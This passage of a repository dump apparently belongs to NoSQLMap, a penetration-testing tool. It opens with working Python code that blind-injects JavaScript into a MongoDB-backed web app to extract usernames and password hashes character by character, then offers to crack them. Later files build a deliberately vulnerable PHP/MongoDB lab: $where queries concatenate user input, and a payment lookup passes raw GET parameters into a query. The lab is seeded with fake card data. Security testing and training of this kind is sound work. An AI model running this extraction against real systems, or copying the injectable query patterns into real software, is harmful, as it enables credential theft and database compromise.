baseLen: 1170 | # Got the right number of characters 1171 | charCountUsr = True 1172 | 1173 | else: 1174 | usrChars += 1 1175 | 1176 | while rightCharsUsr < usrChars: 1177 | usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.user.charAt(" + str(rightCharsUsr) + ") == '"+ chars[charCounterUsr] + "') { return true; } var dum='a" + "&") 1178 | 1179 | req = urllib2.Request(usrUri, None, requestHeaders) 1180 | lenUri = int(len(getResponseBodyHandlingErrors(req))) 1181 | 1182 | if lenUri == baseLen: 1183 | username = username + chars[charCounterUsr] 1184 | #print username 1185 | rightCharsUsr += 1 1186 | charCounterUsr = 0 1187 | 1188 | else: 1189 | charCounterUsr += 1 1190 | 1191 | retrUsers += 1 1192 | # reinitialize all variables and get ready to do it again 1193 | 1194 | charCountUsr = False 1195 | rightCharsUsr = 0 1196 | usrChars = 0 1197 | 1198 | while rightCharsHash < 32: #Hash length is static 1199 | hashUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.pwd.charAt(" + str(rightCharsHash) + ") == '"+ chars[charCounterHash] + "') { return true; } vardum='a" + "&") 1200 | 1201 | req = urllib2.Request(hashUri, None, requestHeaders) 1202 | lenUri = int(len(getResponseBodyHandlingErrors(req))) 1203 | 1204 | if lenUri == baseLen: 1205 | pwdHash = pwdHash + chars[charCounterHash] 1206 | rightCharsHash += 1 1207 | charCounterHash = 0 1208 | 1209 | else: 1210 | charCounterHash += 1 1211 | 1212 | users.append(username) 1213 | hashes.append(pwdHash) 1214 | print "Got user:hash " + users[retrUsers-1] + ":" + hashes[retrUsers-1] 1215 | # reinitialize all variables and get ready to do it again 1216 | username = "" 1217 | charCounterHash = 0 1218 | rightCharsHash = 0 1219 | pwdHash = "" 1220 | crackHash = raw_input("Crack recovered hashes (y/n)?: ") 1221 | 1222 | while crackHash.lower() == "y": 1223 | menuItem = 1 1224 | for user in users: 1225 | print str(menuItem) + "-" + user 1226 | menuItem +=1 1227 | 1228 | userIndex = raw_input("Select user hash to crack: ") 1229 | nsmmongo.passCrack(users[int(userIndex)-1],hashes[int(userIndex)-1]) 1230 | 1231 | crackHash = raw_input("Crack another hash (y/n)?") 1232 | raw_input("Press enter to continue...") 1233 | return 1234 | -------------------------------------------------------------------------------- /screenshots/NoSQLMap-v0-5.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/codingo/NoSQLMap/efe6f7a62a6d9b2f934704060b2d3f273477bfb0/screenshots/NoSQLMap-v0-5.jpg -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | from setuptools import find_packages, setup 2 | 3 | 4 | with open("README.md") as f: 5 | setup( 6 | name = "NoSQLMap", 7 | version = "0.7", 8 | packages = find_packages(), 9 | scripts = ['nosqlmap.py', 'nsmmongo.py', 'nsmcouch.py', 'nsmscan.py', 'nsmweb.py', 'exception.py'], 10 | 11 | entry_points = { 12 | "console_scripts": [ 13 | "NoSQLMap = nosqlmap:main" 14 | ] 15 | }, 16 | 17 | install_requires = [ "CouchDB==1.0", "httplib2==0.19.0", "ipcalc==1.1.3",\ 18 | "NoSQLMap==0.7", "pbkdf2==1.3", "pymongo==2.7.2",\ 19 | "requests==2.20.0"], 20 | 21 | author = "tcstool", 22 | author_email = "codingo@protonmail.com", 23 | description = "Automated MongoDB and NoSQL web application exploitation tool", 24 | license = "GPLv3", 25 | long_description = f.read(), 26 | url = "http://www.nosqlmap.net" 27 | ) 28 | -------------------------------------------------------------------------------- /vuln_apps/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3.8" 2 | services: 3 | apache: 4 | container_name: apache 5 | build: ./docker/apache 6 | links: 7 | - php 8 | ports: 9 | - "80:80" 10 | volumes: 11 | - ./src:/usr/local/apache2/htdocs 12 | php: 13 | container_name: php 14 | build: ./docker/php 15 | ports: 16 | - "9000:9000" 17 | volumes: 18 | - ./src:/usr/local/apache2/htdocs 19 | working_dir: /usr/local/apache2/htdocs 20 | mongo: 21 | container_name: mongo 22 | environment: 23 | MONGO_INITDB_ROOT_USERNAME: root 24 | MONGO_INITDB_ROOT_PASSWORD: prisma 25 | build: ./docker/mongo 26 | ports: 27 | - "27017:27017" 28 | -------------------------------------------------------------------------------- /vuln_apps/docker/apache/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM httpd:2.4.51 2 | 3 | COPY apache.conf /usr/local/apache2/conf/apache.conf 4 | 5 | RUN echo "Include /usr/local/apache2/conf/apache.conf" \ 6 | >> /usr/local/apache2/conf/httpd.conf -------------------------------------------------------------------------------- /vuln_apps/docker/apache/apache.conf: -------------------------------------------------------------------------------- 1 | LoadModule deflate_module /usr/local/apache2/modules/mod_deflate.so 2 | LoadModule proxy_module /usr/local/apache2/modules/mod_proxy.so 3 | LoadModule proxy_fcgi_module /usr/local/apache2/modules/mod_proxy_fcgi.so 4 | 5 | 6 | ProxyPassMatch ^/(.*\.php(/.*)?)$ fcgi://php:9000/usr/local/apache2/htdocs/$1 7 | 8 | DocumentRoot /usr/local/apache2/htdocs 9 | 10 | 11 | Options -Indexes +FollowSymLinks 12 | DirectoryIndex index.php 13 | AllowOverride All 14 | Require all granted 15 | 16 | -------------------------------------------------------------------------------- /vuln_apps/docker/mongo/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM mongo:latest 2 | 3 | ADD ./mongo.nosql /tmp/mongo.nosql 4 | ADD ./import.sh /tmp/import.sh 5 | RUN chmod +x /tmp/import.sh 6 | -------------------------------------------------------------------------------- /vuln_apps/docker/mongo/import.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | cat /tmp/mongo.nosql | mongosh "mongodb://root:prisma@mongo:27017" -------------------------------------------------------------------------------- /vuln_apps/docker/mongo/mongo.nosql: -------------------------------------------------------------------------------- 1 | use shop 2 | db.orders.insert({"id":"42","name":"Adrien","item":"Fuzzy pink towel","quantity":"1"}) 3 | db.orders.insert({"id":"99","name":"Justin","item":"Bird supplies","quantity":"4"}) 4 | db.orders.insert({"id":"1","name":"Robin","item":"Music gift cards","quantity":"100"}) 5 | db.orders.insert({"id":"1001","name":"Moses","item":"Miami Heat tickets","quantity":"1000"}) 6 | db.orders.insert({"id":"66","name":"Rick","item":"Black hoodie","quantity":"1"}) 7 | db.orders.insert({"id":"0","name":"Nobody","item":"Nothing","quantity":"0"}) 8 | use customers 9 | db.paymentinfo.insert({"name":"Adrien","id":"42","cc":"5555123456789999","cvv2":"1234"}) 10 | db.paymentinfo.insert({"name":"Justin","id":"99","cc":"5555123456780000","cvv2":"4321"}) 11 | db.paymentinfo.insert({"name":"Robin","id":"1","cc":"3333444455556666","cvv2":"2222"}) 12 | db.paymentinfo.insert({"name":"Moses","id":"2","cc":"4444555566667777","cvv2":"3333"}) 13 | db.paymentinfo.insert({"name":"Rick","id":"3","cc":"5555666677778888","cvv2":"5678"}) 14 | db.paymentinfo.insert({"name":"Nobody","id":"0","cc":"45009876543215555","cvv2":"9999"}) 15 | use appUserData 16 | db.users.insert({"name":"Adrien","username":"adrien","email":"adrien@sec642.org"}) 17 | db.users.insert({"name":"Justin","username":"justin","email":"justin@sec642.org"}) 18 | db.users.insert({"name":"Robin","username":"digininja","email":"digininja@sec642.org"}) 19 | db.users.insert({"name":"Moses","username":"adrien","email":"moses@sec642.org"}) 20 | db.users.insert({"name":"Rick","username":"rick","email":"rick@sec642.org"}) 21 | db.users.insert({"name":"Nobody","username":"administrator","email":"root@sec642.org"}) 22 | -------------------------------------------------------------------------------- /vuln_apps/docker/php/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:8.1-fpm 2 | 3 | RUN mv "$PHP_INI_DIR/php.ini-development" "$PHP_INI_DIR/php.ini" 4 | RUN echo "extension=mongodb.so" >> "$PHP_INI_DIR/php.ini" 5 | 6 | RUN apt-get update \ 7 | && apt-get install -y libcurl4-openssl-dev pkg-config libssl-dev \ 8 | && apt-get install -y git zip unzip \ 9 | && pecl install mongodb \ 10 | && php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');" \ 11 | && php composer-setup.php --install-dir=/usr/local/bin --filename=composer \ 12 | && rm composer-setup.php \ 13 | && composer require mongodb/mongodb -------------------------------------------------------------------------------- /vuln_apps/src/acct.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Payment information 5 | 6 | 7 | 8 | [], 14 | ]; 15 | $filter = ['id' => $_GET['acctid']]; 16 | $query = new MongoDB\Driver\Query($filter, $options); 17 | 18 | $cursor = $conn->executeQuery('customers.paymentinfo', $query); 19 | $counter = 0; 20 | 21 | foreach ($cursor as $obj) { 22 | $counter++; 23 | echo 'Name: ' . $obj->name . '
'; 24 | echo 'Customer ID: ' . $obj->id . '
'; 25 | echo 'Card Number: ' . $obj->cc . '
'; 26 | echo 'CVV2 Code: ' . $obj->cvv2 . '
'; 27 | echo '
'; 28 | } 29 | 30 | echo $counter . ' document(s) found.
'; 31 | 32 | } catch (MongoConnectionException $e) { 33 | die('Error connecting to MongoDB server : ' . $e->getMessage()); 34 | } catch (MongoException $e) { 35 | die('Error: ' . $e->getMessage()); 36 | } 37 | ?> 38 | 39 | 40 | 41 | 42 | -------------------------------------------------------------------------------- /vuln_apps/src/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | Customer Info 4 | 5 | 6 | 7 |

Customer Information

8 |

Enter your customer ID to show your account information:

9 | 10 |
11 | Customer ID: 12 | 13 |
14 | 15 |
16 | 17 | 18 | -------------------------------------------------------------------------------- /vuln_apps/src/orderdata.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Order Lookup 5 | 6 | 7 | shop; 13 | $collection = $db->orders; 14 | $search = $_GET['ordersearch']; 15 | $js = "function () { var query = '". $search . "'; return this.id == query;}"; 16 | //print $js; 17 | print '
'; 18 | 19 | $cursor = $collection->find(array('$where' => $js)); 20 | echo $cursor->count() . ' order(s) found.
'; 21 | 22 | foreach ($cursor as $obj) { 23 | echo 'Order ID: ' . $obj['id'] . '
'; 24 | echo 'Name: ' . $obj['name'] . '
'; 25 | echo 'Item: ' . $obj['item'] . '
'; 26 | echo 'Quantity: ' . $obj['quantity']. '
'; 27 | echo '
'; 28 | } 29 | $conn->close(); 30 | } catch (MongoConnectionException $e) { 31 | die('Error connecting to MongoDB server : ' . $e->getMessage()); 32 | } catch (MongoException $e) { 33 | die('Error: ' . $e->getMessage()); 34 | } 35 | } 36 | ?> 37 | 38 | 39 | Use the Order ID to locate your order:
40 |
41 |

Search

43 |
44 |
45 | 46 |
47 | 48 | 49 | -------------------------------------------------------------------------------- /vuln_apps/src/populate_db.php: -------------------------------------------------------------------------------- 1 | shop; 8 | 9 | // Drop the database 10 | $response = $db->drop(); 11 | //print_r($response); 12 | 13 | // select a collection (analogous to a relational database's table) 14 | $collection = $db->orders; 15 | 16 | // add records 17 | $obj = array( "id"=>"1234","name"=>"Russell","item"=>"ManCity Jersey","quantity"=>"2"); 18 | $collection->insert($obj); 19 | $obj = array( "id"=>"42","name"=>"Adrien","item"=>"Fuzzy pink towel","quantity"=>"1"); 20 | $collection->insert($obj); 21 | $obj = array( "id"=>"99","name"=>"Justin","item"=>"Bird supplies","quantity"=>"4"); 22 | $collection->insert($obj); 23 | $obj = array( "id"=>"1","name"=>"Robin","item"=>"Music gift cards","quantity"=>"100"); 24 | $collection->insert($obj); 25 | $obj = array( "id"=>"1001","name"=>"Moses","item"=>"Miami Heat tickets","quantity"=>"1000"); 26 | $collection->insert($obj); 27 | $obj = array( "id"=>"66","name"=>"Rick","item"=>"Black hoodie","quantity"=>"1"); 28 | $collection->insert($obj); 29 | $obj = array( "id"=>"0","name"=>"Nobody","item"=>"Nothing","quantity"=>"0"); 30 | $collection->insert($obj); 31 | 32 | // find everything in the collection 33 | $cursor = $collection->find(); 34 | 35 | // iterate through the results 36 | foreach ($cursor as $obj) { 37 | echo $obj["name"] . "
"; 38 | } 39 | 40 | // select a database 41 | $db = $m->customers; 42 | 43 | // Drop the database 44 | $response = $db->drop(); 45 | //print_r($response); 46 | 47 | // select a collection (analogous to a relational database's table) 48 | $collection = $db->paymentinfo; 49 | 50 | $obj = array( "name"=>"Russell","id"=>"1000","cc"=>"0000000000000000","cvv2"=>"0000"); 51 | $collection->insert($obj); 52 | $obj = array( "name"=>"Adrien","id"=>"42","cc"=>"5555123456789999","cvv2"=>"1234"); 53 | $collection->insert($obj); 54 | $obj = array( "name"=>"Justin","id"=>"99","cc"=>"5555123456780000","cvv2"=>"4321"); 55 | $collection->insert($obj); 56 | $obj = array( "name"=>"Robin","id"=>"1","cc"=>"3333444455556666","cvv2"=>"2222"); 57 | $collection->insert($obj); 58 | $obj = array( "name"=>"Moses","id"=>"2","cc"=>"4444555566667777","cvv2"=>"3333"); 59 | $collection->insert($obj); 60 | $obj = array( "name"=>"Rick","id"=>"3","cc"=>"5555666677778888","cvv2"=>"5678"); 61 | $collection->insert($obj); 62 | $obj = array( "name"=>"Nobody","id"=>"0","cc"=>"4500987654321555","cvv2"=>"9999"); 63 | $collection->insert($obj); 64 | 65 | // find everything in the collection 66 | $cursor = $collection->find(); 67 | 68 | // iterate through the results 69 | foreach ($cursor as $obj) { 70 | echo $obj["cc"] . "
"; 71 | } 72 | 73 | 74 | // select a database 75 | $db = $m->appUserData; 76 | 77 | // Drop the database 78 | $response = $db->drop(); 79 | //print_r($response); 80 | 81 | // select a collection (analogous to a relational database's table) 82 | $collection = $db->users; 83 | 84 | $obj = array( "name"=>"Russell","username"=>"tcstoolHax0r","email"=>"nosqlmap@sec642.org"); 85 | $collection->insert($obj); 86 | $obj = array( "name"=>"Adrien","username"=>"adrien","email"=>"adrien@sec642.org"); 87 | $collection->insert($obj); 88 | $obj = array( "name"=>"Justin","username"=>"justin","email"=>"justin@sec642.org"); 89 | $collection->insert($obj); 90 | $obj = array( "name"=>"Robin","username"=>"digininja","email"=>"digininja@sec642.org"); 91 | $collection->insert($obj); 92 | $obj = array( "name"=>"Moses","username"=>"adrien","email"=>"moses@sec642.org"); 93 | $collection->insert($obj); 94 | $obj = array( "name"=>"Rick","username"=>"rick","email"=>"rick@sec642.org"); 95 | $collection->insert($obj); 96 | $obj = array( "name"=>"Nobody","username"=>"administrator","email"=>"root@sec642.org"); 97 | $collection->insert($obj); 98 | 99 | // find everything in the collection 100 | $cursor = $collection->find(); 101 | 102 | // iterate through the results 103 | foreach ($cursor as $obj) { 104 | echo $obj["email"] . "
"; 105 | } 106 | 107 | ?> -------------------------------------------------------------------------------- /vuln_apps/src/userdata.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | User Profile Lookup 5 | 6 | 7 | appUserData; 13 | $collection = $db->users; 14 | $search = $_GET['usersearch']; 15 | $js = "function () { var query = '". $usersearch . "'; return this.username == query;}"; 16 | print $js; 17 | print '
'; 18 | 19 | $cursor = $collection->find(array('$where' => $js)); 20 | echo $cursor->count() . ' user found.
'; 21 | 22 | foreach ($cursor as $obj) { 23 | echo 'Name: ' . $obj['name'] . '
'; 24 | echo 'Username: ' . $obj['username'] . '
'; 25 | echo 'Email: ' . $obj['email'] . '
'; 26 | echo '
'; 27 | } 28 | 29 | $conn->close(); 30 | } catch (MongoConnectionException $e) { 31 | die('Error connecting to MongoDB server : ' . $e->getMessage()); 32 | } catch (MongoException $e) { 33 | die('Error: ' . $e->getMessage()); 34 | } 35 | } 36 | ?> 37 | 38 | 39 | Enter your username:
40 |
41 |

Search

43 |
44 |
45 | 46 |
47 | 48 | --------------------------------------------------------------------------------